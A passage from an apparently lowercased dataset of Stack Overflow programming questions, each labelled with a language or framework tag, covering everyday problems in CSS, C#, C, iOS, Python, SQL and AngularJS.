 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;input name= email  type= text  /&gt;</code></pre>
 </div>
 </div>
  on chrome on android (4.4.2)  it appears quite strange:     <img src= https://i.stack.imgur.com/ykaif.jpg  alt= enter image description here >    any suggestions how to remove the ugly styling around the input",css
c# getfields() extracting data from nested class  i want to get field s information from some object but get stucked on retrieving data from nested class. <code>getfields()</code> from recursive call return <code>fieldinfo[0]</code>.     here code sample.    <pre><code> public class test1     {         public string name;         public int id;         public object value;         public test2 test;     }      public class test2     {         public float value;         public bool isenable;     }      class program     {         static void main()         {             var test1 = new test1                 {                     name =  test 1                       id = 1                      value = false                      test = new test2                         {                             value = 123                              isenable = true                          }                  };              gettypefields(test1);              console.readline();         }          public static void gettypefields(object data)         {             var fields = data.gettype().getfields();              foreach (var fi in fields)             {                 var type = fi.fieldtype;                  if (type.isvaluetype || type == typeof(string) || type == typeof(object))                 {                     console.writeline(fi.fieldtype +   :   + fi.name +   =   + fi.getvalue(data));                 }                  if (type.isclass &amp;&amp; type != typeof (string) &amp;&amp; type != typeof(object))                 {                     gettypefields(fi);                 }             }         }     } </code></pre>   could someone help with this,c#
what happens if i remove the auto added supportedruntime element   i have my project target 4.0. i updated it to 4.5 and vs added   <pre><code>&lt;startup&gt;     &lt;supportedruntime version= v4.0  sku= .netframework version=v4.5 /&gt; &lt;/startup&gt; </code></pre>   on top of changing targetframeworkversion and i am curious if this is redundant. my understanding is that if runtime doesn t find supportedruntime  it uses the .net version used to build exe. so in this case  the exe is built using 4.5 and it also has  saying to use 4.5. would it behave differently whether i have this  or not and run it on a machine that only has 4.0,.net
working on a project for visually disabled  need help with android coding!  i m making an app on android smart phones for the visually impaired and i have inquiries. now  my app s main menu is already created  and i ve used text-to-speech program to read out the menu for the visually impaired. qn: what do i have to do to make it so that when visually impaird personnal press the buttons on the menu once  text to speech is activated  telling them what they are pressing  and to double tap to enter/activate the activity linked to the button  thanks in advance :d,android
can t find google beacon tools app  i can t seem to find the google beacon tools app in the app store for ios- is anyone else having this issue that can point me in the right direction,ios
any better way to remove duplicate elements from a linear array    i am trying to remove duplicate elements from my linear array.but i don t want to do it in o(n^2) time complexity.(because i am using two for loops that will run for n times both in worst case) is there any way to do this in less time   any other approach would be of great help. thank you!,c
how can i help google s closure compiler optimize my javascript code   i ve been tinkering with google s closure compiler and was able to get everything compiling perfectly using the advanced compilation option.  how can i get the best compilation results from my code,javascript
how to change character in a string   i want to have a function that receives a string as a parameter and change symbols of the string    <code>char *strchanger(char *str)</code>.    i tried to implement it like this:   <pre><code>char *strchanger(char *str) {     if(str[0] !=  \0 ) {         str[0] =  a ;     }     return str; } </code></pre>   in the program it should look like <code>char *newstr = strchanger( hi );</code>    but when i try to change a character in the string  a program chrashes.    i did some experiments and find that:   <pre><code>// works fine char str[] =  hi ; str[0] =  a ;  // crashes char *str =  hi ; str[0] =  a ; </code></pre>   i dont understand the difference. why the second block of code doesn t work,c
how can i replicate this method to a method without the parameters   i am new to java  i want to know if it s possible. but i am calling this method from another class. but the parameters are giving me a hard time. i want to call this method without having the parameters with it or have it go to the other class without any errors.   <pre><code>public list&lt;string&gt; getappordb(         string servers          string username          string password          float critthreshold) throws exception {          try {             //something              try {                 // another thing                 if (serverarray != null &amp;&amp; serverarray.length &gt; 0 &amp;&amp; folders != null &amp;&amp; folders.length &gt; 0) {                      logger.info( inside loop of cpuutilization and memoryutilization );                     float cpuutilization = null;                  list&lt;string&gt; memolist = new arraylist&lt;string&gt;();                     for (string server : serverarray) {                         memolist.add(server); } } } } </code></pre>   essentially i want to get the arraylist in the middle of this method to the other class.      <strong>the other class</strong>   <pre><code>public void arraylist() {  databaseclass dbc = new databaseclass(); dbc.getappordb(string servers          string username          string password); // errors everywhere due to parameters form the line above.  } </code></pre>   error message : multiple markers at this line     - appservercpudiskspaceutilizationmap cannot be resolved to a       variable     - username cannot be resolved to a variable     - password cannot be resolved to a variable     - servers cannot be resolved to a variable,java
can an xcode project with multiple targets have different settings.bundle s for each target   i have a settings bundle in an iphone app which has several subtle variant targets.    the problem is i need to customise some strings in each settings bundle to make them appropriate for each target. it appears that if the settings bundle is named anything other than settings.bundle it won t pick up the bundle (understandable  can i specify in a plist somewhere the alternate name ).    if i try and put them in different folders and call them the same thing xcode gets horribly confused and lets you edit  2 files  that are actually the same single source.,iphone
app get rejected due to uses the  prefs:root=  non-public url scheme  my app uses the  prefs:root=  non-public url scheme  which is a private entity. the use of non-public apis is not permitted on the app store because it can lead to a poor user experience should these apis change. i need to open the general  setting  not the my app settings.      uiapplicationopensettingsurlstring : this code only opens my app settings but i need to open the general  settings  screen. what can i do  any solution for overcome this problem,ios
python: download image from link without picture extension  how would i go about downloading the picture from the following link:    <a href= http://cdn.svcs.c2.uclick.com/c2/332b584051f7012f2fd300163e41dd5b  rel= nofollow >http://cdn.svcs.c2.uclick.com/c2/332b584051f7012f2fd300163e41dd5b</a>    thanks,python
string reading in c  i have little doubt about string reading in c.     string reading functions like gets  scanf  read  fscanf   fgets...    which c function can do a secure or safe string reading from any file     or    which c function can be reliable to read a string in a file,c
angularjs testing with out bower  i m looking for some examples/references to have a testing environment setup for angular 1.5.8.  i tried angualarjs seed project     <a href= https://docs.angularjs.org/guide/unit-testing  rel= nofollow noreferrer >https://docs.angularjs.org/guide/unit-testing</a>    my requirement is not to use bower.. any help is appreciated..,angularjs
making log in as default page on visual studio 2010  i wanted to make my login as the default page before the user accesses the home page. this is my code.    <pre><code>&lt;system.webserver&gt;     &lt;defaultdocument&gt;         &lt;files&gt;            &lt;clear/&gt;            &lt;add value= login.aspx /&gt;         &lt;/files&gt;     &lt;/defaultdocument&gt; &lt;/system.webserver&gt; </code></pre>   thanks! :),asp.net
target eye autoupdate: fatal error lnk1123: failure during conversion to coff: file invalid or corrupt  i found <a href= http://www.codeproject.com/articles/310530/target-eye-revealed-part-1-target-eyes-unique-auto  rel= nofollow noreferrer >target eye s unique autoupdate mechanism on codeproject </a> autoupdating script.    but i got this error when building for vs2010:   <blockquote>    1>link : fatal error lnk1123: failure during conversion to coff: file   invalid or corrupt 1> 1>build failed.  </blockquote>   i tried <a href= https://stackoverflow.com/a/16257619/2851862 >stackoverflow: failure during conversion to coff</a>  it gave me this error:   <blockquote>    1>stdafx.obj : warning lnk4075: ignoring  /editandcontinue  due to    /incremental:no  specification  </blockquote>,c++
nsstring memory leak  i am getting a memory leak in a method that builds a email message string from a nsmanagedobject. the string is created with nsstring convenience methods  and so should be autoreleased. what am i missing  code below... instruments is flagging the final occurance of buildstring near the bottom of the method (see comment in code):   <pre> <code>      -(void)buildemailmessage {      //check for presence of lat and lon data     bool hasstartlatlon = no;     bool hasendlanlon = no;     nsstring *startlat;     nsstring *startlong;     nsstring *endlat;     nsstring *endlong;     nsstring *mapurl;     nsstring *finalmapurl;      if( [managedobject valueforkey:@ startlat ] > 0 ){         hasstartlatlon = yes;         startlat = [self formatlatlon:[managedobject valueforkey:@ startlat ]];         startlong= [self formatlatlon:[managedobject valueforkey:@ startlong ]];     }      if( [managedobject valueforkey:@ endlat ] > 0 ) {         hasendlanlon = yes;         endlat = [self formatlatlon:[managedobject valueforkey:@ endlat ]];         endlong= [self formatlatlon:[managedobject valueforkey:@ endlong ]];     }      // build strings from managedobject     // start with the trip info already validated     nsstring *tripname = [managedobject valueforkey:@ tripname ];     nsstring *intro = [nsstring stringwithstring:@  please contact the approriate authorities and provide them with the enclosed information if our party does not return withing 12 hours of the return date shown below. thanks.  ];      id  vstartdate = [managedobject valueforkey:@ startdate ];     nsstring *startdate = [nsstring stringwithformat:@  <b>start date: </b>%@   [vstartdate managedobjectvaluedisplay]];      id  venddate = [managedobject valueforkey:@ enddate ];     nsstring *enddate = [nsstring stringwithformat:@ <br /><b>end date: </b>%@    [venddate managedobjectvaluedisplay]];      nsstring *startfrom = [nsstring stringwithformat:@  <b>departing from:</b><br />%@   [managedobject valueforkey:@ startfrom ]];     if( hasstartlatlon ){         startfrom = [startfrom stringbyappendingstring:@ <br /> ];         startfrom = [startfrom stringbyappendingstring:[self getlatlon:@ start ]];      }     startfrom = [startfrom stringbyappendingstring:@   ];      nsstring *endat = [nsstring stringwithformat:@  <b>returning to:</b><br />%@   [managedobject valueforkey:@ endat ]];     if( hasstartlatlon ){         endat = [endat stringbyappendingstring:@ <br /> ];         endat = [endat stringbyappendingstring:[self getlatlon:@ end ]];     }     endat = [startfrom stringbyappendingstring:@   ];      // add a link to google maps if there is geodata     if (hasstartlatlon || hasendlanlon) {          if (hasstartlatlon) {             mapurl = [nsstring stringwithformat:@ http://maps.google.com/ q=%@ %@+(%@)&ll=%@ %@&z=14&t=p   startlat  startlong  [managedobject valueforkey:@ startfrom ]  startlat  startlong];         } else {             mapurl = [nsstring stringwithformat:@ http://maps.google.com/ q=%@ %@+(%@)&ll=%@ %@&z=14&t=p   endlat  endlong  [managedobject valueforkey:@ endat ]  endlat  endlong];         }          nsstring* escapedurlstring =[mapurl stringbyaddingpercentescapesusingencoding:nsutf8stringencoding];         nslog(@ escaped  map url = %@   escapedurlstring);         finalmapurl = [nsstring stringwithformat:@ <b>link to google map:</b><br />%@   escapedurlstring];     }      nsstring *routeinfo = [nsstring stringwithformat:@  <b>route information:</b><br />%@     [managedobject valueforkey:@ routeinfo ]];      // check for vehicle info     bool hasvehiclemakeandmodel = no;     bool hasvehiclelicensenumber = no;     bool hasvehiclestate = no;      nsstring *vehiclemakeandmodel = [managedobject valueforkey:@ vehiclemakeandmodel ];     nsstring *vehiclelicensenumber = [managedobject valueforkey:@ vehiclelicensenumber ];     nsstring *vehiclestate = [managedobject valueforkey:@ vehiclestate ];      if ( vehiclemakeandmodel.length > 0 ) {         hasvehiclemakeandmodel = yes;     }      if ( vehiclelicensenumber.length > 0 ) {         hasvehiclelicensenumber = yes;     }      if ( vehiclestate.length > 0 ) {         hasvehiclestate = yes;     }      //build the vehicle string     nsstring *vehiclestring;      if (hasvehiclemakeandmodel || hasvehiclelicensenumber || hasvehiclestate) {         vehiclestring = [nsstring stringwithstring:@  <b>vehicle information:</b><br /> ];     }      if (hasvehiclemakeandmodel) {         vehiclestring = [vehiclestring stringbyappendingstring:@ make/model:  ];         vehiclestring = [vehiclestring stringbyappendingstring:vehiclemakeandmodel];         vehiclestring = [vehiclestring stringbyappendingstring:@ <br /> ];     }      if (hasvehiclelicensenumber) {         vehiclestring = [vehiclestring stringbyappendingstring:@ license #:  ];         vehiclestring = [vehiclestring stringbyappendingstring:vehiclelicensenumber];         vehiclestring = [vehiclestring stringbyappendingstring:@ <br/> ];     }      if (hasvehiclestate) {         vehiclestring = [vehiclestring stringbyappendingstring:@ state:  ];         vehiclestring = [vehiclestring stringbyappendingstring:vehiclestate];     }      // get the nsset of party members from the managedobject     // and build the party members/emergency contact info     nsset *membersset = [managedobject valueforkey:@ members ];      nsstring *membersstring;      if ( [membersset count] > 0) {          membersstring = @  <b>party members:</b>  ;          nsarray *membersarray = [nsarray arraybyorderingset:membersset bykey:@ lastname  ascending:yes];          for (nsmanagedobject *oneobject in membersarray) {              bool hasfirstname = no;             bool haslastname = no;             bool hasage = no;             bool hascontactname = no;             bool hascontactnumber = no;              nsstring *memberfirstname = [oneobject valueforkey:@ firstname ];             nsstring *memberlastname = [oneobject valueforkey:@ lastname ];              nsnumber *memberagenum = [oneobject valueforkey:@ age ];             nsstring *memberagestring;             if (memberagenum > 0) {                 memberagestring = [nsstring stringwithformat:@ %d   [memberagenum intvalue]];             } else {                 memberagestring = [nsstring stringwithstring:@  ];             }              nsstring *contactname = [oneobject valueforkey:@ contactname ];             nsstring *contactnumber = [oneobject valueforkey:@ contactnumber ];              if ( [memberfirstname length] > 0) {                 hasfirstname = yes;             }              if ( [memberlastname length] > 0) {                 haslastname = yes;             }              if ( [memberagestring length] > 0) {                 hasage = yes;             }              if ( [contactname length] > 0) {                 hascontactname = yes;             }              if ( [contactnumber length] > 0) {                 hascontactnumber = yes;             }              nsstring *onememberstring = [nsstring stringwithstring:@ <li> ];              if (hasfirstname) {                 onememberstring = [onememberstring stringbyappendingformat:@ %@    memberfirstname];             }              if (haslastname) {                 onememberstring = [onememberstring stringbyappendingstring:memberlastname];             }              if (hasage) {                 onememberstring = [onememberstring stringbyappendingformat:@   %@   memberagestring];             }              if (hascontactname) {                 onememberstring = [onememberstring stringbyappendingformat:@ <br />emergency contact:<br />%@   contactname];             }              if (hascontactnumber) {                 onememberstring = [onememberstring stringbyappendingformat:@ <br />phone: %@<br /><br /></li>   contactnumber];             }              membersstring = [membersstring stringbyappendingstring:onememberstring];         }     }       nsstring *buildstring = [nsstring stringwithformat:@ <b> trip plan for:</b><br />%@    tripname];     buildstring = [buildstring stringbyappendingstring: intro];     buildstring = [buildstring stringbyappendingstring: startdate];     buildstring = [buildstring stringbyappendingstring: enddate];     buildstring = [buildstring stringbyappendingstring: startfrom];     buildstring = [buildstring stringbyappendingstring: endat];     if (hasstartlatlon || hasendlanlon) buildstring = [buildstring stringbyappendingstring: finalmapurl];     buildstring = [buildstring stringbyappendingstring: routeinfo];     // append the vehicle string if any vehicle data is present     if (hasvehiclemakeandmodel || hasvehiclelicensenumber || hasvehiclestate) {         buildstring = [buildstring stringbyappendingstring: vehiclestring];     }     // append the members string if any members data is present          // **memory leak** flagged on the line enclosed by the if statement below     if ( [membersset count] > 0)  {         buildstring = [buildstring stringbyappendingstring: membersstring];     }      self.myemailstring = [nsstring stringwithstring:buildstring];  }  </code> </pre>  <pre> <code> -(nsstring *)formatlatlon:(nsnumber *)value {     nsnumberformatter *formatter = [[nsnumberformatter alloc] init];     [formatter setnumberstyle:nsnumberformatterdecimalstyle];     [formatter setpositiveformat:@ ##0.00000 ];      nsstring *returnstring = [formatter stringfromnumber:value];     [formatter release];     return returnstring; } </code> </pre>,iphone
centering a popup fluid div  good day    centering elements are easy  when they have defined widths and heights: eg.    width: 500px; height: 400px;    problem comes with fluid layouts:    but i have a modal popup(lightbox) that i use to enlarge thumbnail images...:    <strong>problem</strong> is that i cannot get it to center  it floats left-top...i want it to be <strong>absolutely centered: vertical and horizontal</strong>     here is my modal popup code also see my <a href= http://jsfiddle.net/ykezb/2/  rel= nofollow >jsfiddle</a> to see what i mean(try resizing the viewport)    html:   <pre><code>&lt;div id= imagemodal &gt;     &lt;div id= close_button &gt;x&lt;/div&gt;     &lt;div id= imageholder &gt;&lt;/div&gt; &lt;/div&gt; </code></pre>   css:   <pre><code>#articlefeatured img{     width: 200px;     height: 113px; } #imagemodal {     position: fixed;     z-index: 1024;     top: 0;     right: 0;     bottom: 0;     left: 0;     width: 100%;     height: 100%;     background: rgb(50  50  50);     background: rgba(0  0  0  0.6);     vertical-align: middle; } #imagemodal #imageholder {     display: table;     vertical-align: middle;     position: relative;     margin: 0 auto;     width: 100%;     height: 100%;     text-align: center;     vertical-align: middle;     border: 1px solid #0088cc; } #imagemodal #imageholder img {     max-width: 100%;     max-height: 100%;     text-align: center;     vertical-align: middle;     display: table-cell; } #close_button {     position: absolute;     z-index: 9999;     opacity:0.8;     -ms-filter: progid:dximagetransform.microsoft.alpha(opacity=80) ;     filter:alpha(opacity=80);     display: inline-block;     max-width: 45px;     max-height: 45px;     width: 100%;     height: 100%;     float: left;     top: 0;     left: 0;     padding: 10px;     cursor: pointer; } </code></pre>,css
how to remove cursor from text box   here is my code:   <pre><code>&lt;table&gt; &lt;tr&gt; &lt;td&gt;&lt;input type= text  value= test1  readonly  /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;input type= text  value= test2   readonly /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;input type= text  value= test3  readonly /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre>   how do i remove the cursor from the text box,html
radiobutton with ruby  i m doing a project on  student attendance management system .i using rail of version 1.9.1 and rail of version 2.5. i wanted to use radiobutton in my project to mark present and absent so how can i use please send me the code and what should i do  if you want to give any suggetion so i will very happy.,ruby-on-rails
disable keypress function when textarea has focus  re-enable function when textarea loses focus  i have a function which gets called on any keypress.  on textarea focus i disable the keypress function.  on textarea blur my keypress function call should be enabled again  but for some reason it is not.    this is the page: <a href= http://119.247.250.128/wasyoku/  rel= nofollow >http://119.247.250.128/wasyoku/</a>   <pre><code>function kyprime() {              document.getelementbyid( q ).onfocus = function() {return false};                if (event.keycode == 4) turn()              // control d             if (event.keycode == 126) hideframe()       // ~              if (event.keycode == 96) {                  // `                 parent.c.location = (parent.c.location  !=  wasyoku+ home/prime.html )                    home/prime.html  :  n/fbwasyoku.html  }        if ( parent.c.location != wasyoku +  ascii.html        &amp;&amp; parent.c.location   != wasyoku +  masterpiece/pagelet.html      &amp;&amp; parent.c.location   != wasyoku +  masterpiece/artwork.html      &amp;&amp; parent.c.location   != wasyoku +  masterpiece/webwork.html )     {           if (event.keycode == 32)            // spacebar =             parent.c.location =  ../masterpiece/pageletnews.html          else if (event.keycode == 3 | event.keycode == 13)      // enter return             parent.c.location =  ../ascii.html    };      document.onkeypress = kyprime </code></pre>   how can i make my keypress function keep on working after textarea blur,javascript
how to implement countdown timer based function calling in php   i am doing a project in which i have to do some updations over database every hour . so what should i use for this .. should i simply use php as updations will be done only at server side . or any other suggestion that will be better than my approach      please help !!,php
how to get number of bits from hex  for example how do i get 8 from 0x01  or 16 from 0x0001.    i want to know the number of bits a variable has.   <pre><code>var somenumber = 0x123456; var len = whattodohere(somenumber); console.log(len); // =&gt; 24 for example </code></pre>,javascript
exc_bad_access on stringbyappendingpathcomponent  i want my application to copy the video you taken with it to a directory  inside the app sandbox.    here is what i ve wrote so far.   <pre><code>- (void) imagepickercontroller:(uiimagepickercontroller *)picker   didfinishpickingmediawithinfo:(nsdictionary *)info  {     int r = arc4random() % 100;     int s = arc4random() % 100;     int e = arc4random() % 100;     nslog(@ %i%i%i.mov   r  s  e);     nsstring *tempfilename = (@ %i%i%i.mov   r  s  e);     nsstring *tempfilepath = [[info objectforkey:uiimagepickercontrollermediaurl] path];     nsstring *documentsdirectory          = [nssearchpathfordirectoriesindomains(nsdocumentdirectory                                                 nsuserdomainmask  yes)                                  objectatindex:0];     nsstring *storepath = [documentsdirectory stringbyappendingpathcomponent:tempfilename];      nserror *error = nil;     [[nsfilemanager defaultmanager] copyitematurl:tempfilepath                                             tourl:[nsurl fileurlwithpath:storepath]                                             error:&amp;error]; </code></pre>   but after i test my app on my iphone  program gets stuck after pressing use after taking video. xcode tells exc_bad_access on    <pre><code>nsstring * storepath = [documentsdirectory stringbyappendingpathcomponent:tempfilename]; </code></pre>   what can be wrong here     and uh  i actually want to  create  a new directory called videos inside the app sandbox and save in it. i couldn t do that  so i am using documents directory.    thanks!,objective-c
how to resize the width of div left to another which has float:left;   i still have problem to well understand how the float property works in css. i do apologize because i know this is css basics but i really want to understand that and get a good explanation. i ve created an <a href= http://jsfiddle.net/1867ud9p/  rel= nofollow noreferrer >example</a> to show you.  here is my page : <img src= https://i.stack.imgur.com/cnc27.png  alt= image >    i just want to resize the second div at the right. when i look at it in the chrome developer tools  i see that this div begins at the top left of the window and not after the red square. i d like it to begins just after the red square to change the width properly without calculating the size of the square and doing something like    <pre><code>width = square size + width i want </code></pre>   do you know how this it happens and how to properly resize the width of the second div        edit: the <a href= http://jsfiddle.net/1867ud9p/10/  rel= nofollow noreferrer >solution</a> consists in add the float property to the second div too. the explanation is the following : floated elements are removed from the flow  so they don t stack with the non-floated elements.,css
modifying elements with same directive  i have several elements in a container. one of the rows has two icons in it: zoom in and zoom out. when you click zoom in  i d like all the row s widths to grow.    <pre><code>&lt;div id= events &gt;     &lt;year&gt;year 1&lt;/year&gt;     &lt;year&gt;year 2&lt;/year&gt;     &lt;year&gt;year 3&lt;/year&gt;     &lt;year&gt;year 4&lt;/year&gt;      &lt;div id= scaling &gt;         &lt;md-icon aria-label= zoom in  class= material-icons  ng-click= zoomin() &gt;zoom_in&lt;/md-icon&gt;         &lt;md-icon aria-label= zoom out  class= material-icons  ng-click= zoomout() &gt;zoom_out&lt;/md-icon&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   i have a year directive:   <pre><code>angular.module( app ).directive( year   [ $rootscope   function ($rootscope) {     return {         link: function($scope  element  attr) {              var events = element;              $scope.zoomin = function(ev) {                  console.log( zoomin );                 $scope.zoom = $scope.zoom + $scope.scale;                  if($scope.zoom &lt; 100) { $scope.zoom = 100; }                  events.html($scope.zoom);                  events.css({                      width : $scope.zoom +  %                  });             }              $scope.zoomout = function(ev) {                 $scope.zoom = $scope.zoom - $scope.scale;                  if($scope.zoom &lt; 100) { $scope.zoom = 100; }                  events.css({                      width : $scope.zoom +  %                  });             }         }     } }]); </code></pre>   however the width is only applied to the very last year element. why is that,angularjs
sql - only show results for one column in first instance of a duplicated record  i am finding it difficult to explain exactly what i am trying to achieve so i think it best to show a visual representation.    <a href= https://i.stack.imgur.com/o54ib.jpg  rel= nofollow noreferrer >example of how my query results currently look</a>    <a href= https://i.stack.imgur.com/mbfhl.jpg  rel= nofollow noreferrer >example of how i want the results to look</a>    the report i am running shows a list of every product within orders. each product has its own cost assigned to it. another column is a delivery charge  but this is a charge assigned to the order; not individual products. i want to be able to show the delivery charge against the first product in each order only.    i have attempted  for far too long  to try and find an answer to this query but have had no luck. i don t know if it is even possible so assistance of any sort  or even just being pointed in the right direction  would be of great help.    thanks    edit.    if it helps here is my query:   <pre><code>select dbo.orders.encryptedorderid         dbo.orderproduct.productid         dbo.orderproduct.quantityperrecipient         dbo.orderproduct.numrecipients         dbo.orderproduct.totalquantity         dbo.doctype.name as [product type]         dbo.productgroup_culture.name as [product group]         right(catalogno  charindex( _   reverse( _  + catalogno)) -1) as [hamptonstype]         format(dbo.orders.dateordercreated   dd/mm/yyyy hh:mm:ss ) as  dateordercreated          cast(replace(dbo.orders.clearingresult   utf-8    utf-16 ) as xml ).value( (/userdata//costcenter/node())[1]    nvarchar(max) ) as [cost center]          dbo.users.firstname          dbo.users.lastname          dbo.users.companyname as [branch name]          dbo.users.department as subsidiary          dbo.users.custom1          dbo.users.custom2          dbo.users.custom3          dbo.users.custom4          dbo.users.custom5          dbo.orderproduct.totalprice         dbo.orders.shippingcharges         dbo.orderproduct.orderproductid          dbo.filesubmissiondocument.originalfiletype          coalesce (dbo.filesubmissiondocument.title  dbo.product_culture.name) as [product name]         opdv.friendlyvalue as  bcard recipient  from dbo.doctype inner join dbo.doc     on dbo.doctype.doctypeid = dbo.doc.doctypeid inner join dbo.orderproduct     on dbo.doc.productid = dbo.orderproduct.productid left join dbo.product     on dbo.product.productid = dbo.doc.productid left join dbo.productgroupmembership     on dbo.productgroupmembership.productid = dbo.doc.productid left join dbo.productgroup_culture     on dbo.productgroup_culture.productgroupid = dbo.productgroupmembership.productgroupid inner join dbo.orders     on dbo.orderproduct.orderid = dbo.orders.orderid inner join dbo.users     on dbo.orders.userid = dbo.users.userid inner join dbo.product_culture     on dbo.orderproduct.productid = dbo.product_culture.productid  inner join dbo.store_culture     on dbo.store_culture.storeid = dbo.users.assignedtostoreid full outer join dbo.filesubmissiondocument     on dbo.orderproduct.orderproductid = dbo.filesubmissiondocument.suborderproductid - 1 left join (select op.orderproductid                    op.dialid                    op.friendlyvalue            from orderproductdialvalue op            left join dial di on di.dialid = op.dialid            left join orderproduct ot on ot.orderproductid = op.orderproductid            left join product pr on pr.productid = ot.productid            where pr.externalid =  bcname             and di.uproducedialname =  name ) opdv on opdv.orderproductid = dbo.orderproduct.orderproductid where ( @customername  is null         or  @customername  =            or dbo.store_culture.name like  %  +  @customername  +  % )         and dbo.orderproduct.isdraft = 0         and dbo.orders.iscart=0         and dbo.orders.issaveforlater=0         and (( @date  &lt;= dbo.orders.dateordercreated)         or ( @date  is null)         or ( @date =  ))         and ((dateadd(day  1   @date ) &gt;= dbo.orders.dateordercreated)         or ( @date  is null)         or ( @date =  )) and dbo.users.lastname not like  %test%  order by  dbo.orders.orderid desc  dbo.orderproduct.orderproductid desc </code></pre>   the query runs through a reporting system on an online portal so the values that show as @customername or @date are variables based on values given at the time when the report is run.,sql
group same elements in list python  i ve managed to group first element into a list if they have the same second element using the code below. is there a better way of doing it.    note: there s always two same second element.   <pre><code>lst = [     [1   200309060143 ]       [2   200309060143 ]       [3   200309060143 ]       [4   200309060143 ]       [5   200309060143 ]       [6   200309060143 ]       [7   200309060143 ]      [8   200309060143 ]       [1   200309060144 ]       [2   200309060144 ]      [3   200309060144 ]       [1   200309060145 ]       [2   200309060145 ]       [1   200401100047 ]       [2   200401100047 ]       [3   200401100047 ]     ]      mega_lst = []     temp_lst = []  for i in range(len(lst)):      if i == (len(lst)-1):          break;            else:         if lst[i][1] == lst[i + 1][1]:              temp_lst.append(lst[i][0])                        if i == (len(lst)-2):                  temp_lst.append(lst[len(lst)-1][0])                  mega_lst.append(temp_lst)                        else:             temp_lst.append(lst[i][0])              mega_lst.append(temp_lst)              temp_lst = []  print mega_lst </code></pre>   my codes result: [[1  2  3  4  5  6  7  8]  [1  2  3]  [1  2]  [1  2  3]]    desired result: [[1  2  3  4  5  6  7  8]  [1  2  3]  [1  2]  [1  2  3]],python
ruby on rails where statement  i have a <strong>worequest</strong> table that belongs to <strong>contact</strong> table. the <strong>contact</strong> table belongs to the <strong>user</strong> table.    i m listing the worequest records  but want to limit it to the records for the current user.    this doesn t work:   <pre><code>&lt;% worequest.where(:contact_id.contact.user_id =&gt; current_user.id).each do |worequest| %&gt; </code></pre>   what would,ruby-on-rails
how to put a uiimage over a uiimage and choosing which one should be on top   simple question i want to put a uiimage over another uiimage like so: <a href= http://www.appcoda.com/ios-programming-circular-image-calayer/  rel= nofollow >http://www.appcoda.com/ios-programming-circular-image-calayer/</a>    and i ve created the example project then applied it to my own project. but for some reason it put s the uiiprofile image below the background image.    any idea why     thanks,ios
minimizing python modules  suppose that i have a python module a in my libraries directory. how can i export the same library as module b  however use only the functions and the code parts i need automatically  for instance  i want to build a minimal version of opencv for python for a laser tracking project and i am sure that the code i actually need is much less than the whole opencv library. i don t want to do this by hand  so is there any kind of application that automates this proceedure,python
a side view with swrevealviewcontroller  in my main view controller i m trying to create a side view menu and after reading every possible tutorial i could not find any solution to this . i have 2 other view controllers that related to storyboard view. i am trying to load them as a side views   but i see the main navigator button  and a black screen behind .    here is the code i use from their example  in my main view that is loaded first .   <pre><code> uiviewcontroller  *side=[[sideview alloc] init];         uiviewcontroller  *front=[[frontview alloc] init];         uinavigationcontroller *frontnavigationcontroller = [[uinavigationcontroller alloc] initwithrootviewcontroller:front];         uinavigationcontroller *rearnavigationcontroller = [[uinavigationcontroller alloc] initwithrootviewcontroller:side];         swrevealviewcontroller *mainrevealcontroller = [[swrevealviewcontroller alloc]                                                         initwithrearviewcontroller:rearnavigationcontroller frontviewcontroller:frontnavigationcontroller];         mainrevealcontroller.delegate = self;        self.viewcontroller = mainrevealcontroller;     [self.view addsubview: self.viewcontroller.view]; </code></pre>,objective-c
tsql -- strongly bind name to value on insert  we have a database  that through a hiccup in a script  has one table that doesn t match the schema of it s sister database tables.  i have rearranged the table to match the schema of the other tables  but would like to strongly bind the name value pairs just in case the possibility arises of other databases having the same issue.  currently i have the following and i am looking for an elegant way to do the same without throwing in a bunch of additional logic.   <pre><code>insert into cars select carname  carmodel  carmake from somebigjoin </code></pre>   how can i spefically bind a name/value pair as i would if i did something like   <pre><code>insert into cars (name model make) values (carname  carmodel  carmake) </code></pre>   ...while preserving the select statement,sql
device position vs simulator position  i have written code for the side bar. it displays properly on the simulator  but not on the actual device. i could not able to figure that out  i defined my storyboard with landscape layout. device is running 7.0 but simulator 8.1.   <pre><code>- (void)viewdidappear:(bool)animated {     [super viewdidappear:animated];      [sidebarleft insertmenubuttononview:[uiapplication sharedapplication].delegate.window atposition:cgpointmake(self.view.frame.size.width-980 0) atsite:@ left ];  } </code></pre>   simulator:    <img src= https://i.stack.imgur.com/lf2xm.png  alt= enter image description here > device     <img src= https://i.stack.imgur.com/eby5y.png  alt= enter image description here >,ios
unable to read epub file from mainbundle  so i m trying to read a simple epub file that i ve download into my project in xcode and therefore should be able to read from my mainbundle  right     with this code:   <pre><code>  nsdata *pdfdata = [[nsdata alloc] initwithcontentsofurl:[nsurl urlwithstring:@ http://www.feedbooks.com/book/3471.epub ]];      //store the data locally as epub  file if u want pdf change the file extension      nsstring *resourcedocpath = [[nsstring alloc] initwithstring:[[[[nsbundle mainbundle]  resourcepath] stringbydeletinglastpathcomponent] stringbyappendingpathcomponent:@ documents ]];      nsstring *filepath = [resourcedocpath stringbyappendingpathcomponent:@ 3471.epub ];      [pdfdata writetofile:filepath atomically:yes];     nslog(@ filepath iss....%@  filepath);      [detailviewcontroller loadepub:[nsurl fileurlwithpath:[[nsbundle mainbundle] pathforresource:filepath]]]; </code></pre>   i get bellow error:   <pre><code>2015-03-26 15:14:31.301 aepubreader[6742:142694] filepath iss..../users/pavan/library/developer/coresimulator/devices/10e8d95d-a8a3-44b4-be83-b53701a6b8e6/data/containers/bundle/application/a07a5926-ed20-4d79-8f37-3d254080c1d8/documents/3471.epub  2015-03-26 15:14:31.302 aepubreader[6742:142694] -[nsbundle pathforresource:]: unrecognized selector sent to instance 0x7facb9629590  2015-03-26 15:14:31.346 aepubreader[6742:142694] *** terminating app due to uncaught exception  nsinvalidargumentexception   reason:  -[nsbundle pathforresource:]: unrecognized selector sent to instance 0x7facb9629590  *** first throw call stack: (     0   corefoundation                      0x000000010f400a75 __exceptionpreprocess + 165     1   libobjc.a.dylib                     0x000000010e734bb7 objc_exception_throw + 45     2   corefoundation                      0x000000010f407d1d -[nsobject(nsobject) doesnotrecognizeselector:] + 205     3   corefoundation                      0x000000010f35f9dc 